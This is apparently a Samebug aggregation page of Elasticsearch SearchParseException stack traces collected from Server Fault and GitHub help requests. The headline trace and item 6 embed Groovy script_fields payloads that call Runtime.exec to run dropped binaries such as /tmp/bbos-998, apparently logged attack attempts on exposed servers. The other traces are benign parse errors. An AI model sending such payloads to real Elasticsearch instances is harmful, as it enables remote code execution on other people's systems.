org.elasticsearch.search.SearchParseException: [foodmeup][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields":{"exp":{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"/tmp/bbos-998\").getInputStream())).readLines()","lang": "groovy"}}}]]

Server Fault | Sébastien | 2 years ago
  1. 0

    elasticsearch fails periodically on ubuntu with systemd : how to resolve this?

    Server Fault | 2 years ago | Sébastien
    org.elasticsearch.search.SearchParseException: [foodmeup][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields":{"exp":{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"/tmp/bbos-998\").getInputStream())).readLines()","lang": "groovy"}}}]]
  2. 0

    slash / is escaped with two slashes instead of one, parse failure

    GitHub | 2 years ago | maxgalbu
    org.elasticsearch.search.SearchParseException: [fai][3]: from[-1],size[-1]: Parse Failure [Failed to parse source [{"query":{"query_string":{"query":"gioved\u00ec 3\\\\/7 a","default_operator":"OR"}},"filter":{"or":[{"term":{"tipo":"pagina"}},{"term":{"tipo":"evento"}}]},"highlight":{"pre_tags":["<b>"],"post_tags":["</b>"],"fields":{"nome":{"fragment_size":300,"number_of_fragments":1},"nome_ita":{"fragment_size":300,"number_of_fragments":1},"nome_eng":{"fragment_size":300,"number_of_fragments":1},"testo_ita":{"fragment_size":300,"number_of_fragments":1},"testo_eng":{"fragment_size":300,"number_of_fragments":1}}}}]]
  3. 0

    Incremental crawl error

    GitHub | 2 years ago | oneshot-nc
    org.elasticsearch.search.SearchParseException: [webcrawler_index][0]: query[url:http://www.[...].nc/discover/69/],from[0],size[1]: Parse Failure [Failed to parse source [{"from":0,"size":1,"query":{"term":{"url":"http://www.[...].nc//discover/69/"}},"sort":[{"lastModified":{"order":"desc"}}]}]]
  4. Speed up your debug routine!

    Automated exception search integrated into your IDE

  5. 0

    [ES 1.3.2] NullPointerException while parsing hasParent query/filter

    GitHub | 2 years ago | scoro
    org.elasticsearch.search.SearchParseException: [test][0]: from[-1],size[-1]: Parse Failure [Failed to parse source [{ "filter": { "has_parent": { "type": "parents", "query": { "query_string": { "query": "*" } } } } } ]]
  6. 0

    [action.search.type] [Yellowjacket] All shards failed for phase: [query_fetch]

    GitHub | 2 years ago | hero007asd
    org.elasticsearch.search.SearchParseException: [wanshangle][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"./tmp/m4ma\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}},"size":1}]]

    1 unregistered visitors
    Not finding the right solution?
    Take a tour to get the most out of Samebug.

    Tired of useless tips?

    Automated exception search integrated into your IDE

    Root Cause Analysis

    1. org.elasticsearch.script.ScriptException

      dynamic scripting for [groovy] disabled

      at org.elasticsearch.script.ScriptService.verifyDynamicScripting()
    2. ElasticSearch
      SearchServiceTransportAction$23.run
      1. org.elasticsearch.script.ScriptService.verifyDynamicScripting(ScriptService.java:307)
      2. org.elasticsearch.script.ScriptService.compile(ScriptService.java:282)
      3. org.elasticsearch.script.ScriptService.search(ScriptService.java:429)
      4. org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:81)
      5. org.elasticsearch.search.SearchService.parseSource(SearchService.java:705)
      6. org.elasticsearch.search.SearchService.createContext(SearchService.java:557)
      7. org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:529)
      8. org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:291)
      9. org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
      10. org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
      11. org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
      11 frames
    3. Java RT
      Thread.run
      1. java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
      2. java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
      3. java.lang.Thread.run(Thread.java:745)
      3 frames